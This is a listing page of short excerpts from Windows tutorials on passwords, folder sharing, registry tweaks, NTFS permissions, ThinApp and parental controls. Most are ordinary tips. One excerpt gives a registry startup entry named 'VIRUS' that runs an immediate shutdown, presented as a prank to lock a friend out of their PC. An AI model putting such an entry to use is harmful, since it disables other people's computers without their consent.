Windows Operating System Tutorials

Microsoft Windows operating system articles, tutorials and resources
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You maybe always get in some troubles with your PC. Lost Windows password? Forgot Windows password? Your PC was hacked? Therefore, it is a basic step for every Windows users to enhance the security of Windows password. In the networks, it is found that a number of user’s passwords are easy to...
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Important note: I cannot be held responsible when these files or your AV scanner in combination with these files cause any damage to your computer. YOU DOWNLOAD THESE FILES AT YOUR OWN RISK. Download these files only if you are sufficiently secure in the usage of...
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By sharing a folder in Windows XP Professional, it usually means that you want network users to be able to find and access the folder in the My Network Places tool. If you want to share a folder with only certain users, you can use the Net command line tool to essentially hide your computer and...
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Disclaimer : This is for education purpose only if something like this happens to you. How to do it Shutdown your friend's pc when every time its restarts. Add the following registry key and that should do the job for you. "VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this...
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This is THE coolest way to hide and trick folders in Windows. This is best utilized at work or at school where you can carry the key on a USB and just keep the locked folders on the computers you visit often. The Method This will be a lock and key method. Where locked the folder will become...
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Tired of getting Microsoft Office documents (Word, Excel, Powerpoint) that are chock-full of hyperlinks that are bright blue and easy to accidentally click, making Word goes berserk and open the link? You can easily remove all those pesky URLs with a simple macro to remove all the hyperlinks...
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If your Windows XP Pro system slows or even stops when you shut it down, there's a good chance that Terminal Services is the reason. Users often overlook Terminal Services as a possible source of shutdown problems because it works quietly in the background. Terminal Services is the brains...
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Would you like to have a Mac look on your Windows machine? Skins and themes would be nice, but there's more to that when you want to REALLY emulate a Mac OSX interface entirely. There are plenty of programs available to emulate specific features of OSX, e.g. Finder, icons, etc. Find more Mac icons...
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You can save electricity and money and help protect the environment by activating your monitor's "sleep" feature in Windows XP. Activating sleep settings on just one computer prevents approximately 300 pounds of Carbon di-oxide emissions each year. Putting your monitor to "sleep" means allowing...
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NTFS permissions offer a great deal of control when it comes to resources on your systems. When it comes to the old NTFS (from Windows NT) and the current NTFS (from Windows 2000, Windows Server 2003, and Windows XP), there are a lot of similarities and a few differences Most seasoned...
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INTRODUCTION Many of us would have used a local webserver for designing websites or for previewing. This is where the 'localhost' comes. We always give http://localhost or http://127.0.0.1 to tell the browser to take the files from the local web server instead of going into the internet. How and...
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If you want Numlock to stay On or Off at startup, you can do that with a registry edit. Navigate to HKEY_CURRENT_USER\Control Panel\Keyboard\InitialKeyboardIndicators and the change the value to 0 if you want Numlock enabled at starup, and 2 to have it enabled at startup. ...
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Refer to Making XP better (Part 1) as well. 1. Annoying scroll in Start menu If u install so many programs in ur computer, It'll be updated to ur start menu. If there are more number of programs it'll show in scroll mode(sometimes). ...
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Goto-->Run, then type regedit. Navigate to the following Registry key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ Look at the sub-keys and see if a key named StorageDevicePolicies is listed. If it is skip this paragraph and read the next. If it is not create the key by right-clicking...
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We all are different. We like different things; we want to be unique and try to avoid the routine. The same things apply to the user-operating system relationship. Windows comes in a rough initial “shape” but not everybody is willing to accept it. So here are some useful changes to make it more...
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Introduction VMware’s applications are very powerful. They are useful in many ways. In this tutorial we are going to see the power of VMware ThinApp. ThinApp is used to create standalone portable programs. Tools required VMware ThinApp – can be downloaded from www.vmware.com This is...
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This article focuses mainly on uninstalling things such as windows messenger, WordPad and other similar components that cannot be uninstalled by any normal means. To normally remove XP utilities and components, you would normally go to control panel>add or remove programs>add/remove windows...
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The Parental Controls in Windows Vista lets you easily control what your child can or cannot do, and monitor his/her activities using the built-in reports. Step 1: Create An User Account For Your Child Parental controls work by placing restrictions on a user account. Creating an...
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If you've ever run the Windows XP's Disk Cleanup utility, you probably discovered that your temporary files occupy a significant amount of space. You might select the Temporary Files check box in order to allow the Disk Cleanup utility to delete the files in the Temp folder, but the Disk Cleanup...
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When it comes to accessing accounts, the goal of every hacker is to get access to the administrator (or root) account. On Windows systems, this can especially present a problem -- the administrator account comes with no password and an obvious default name ("administrator"). While many people...
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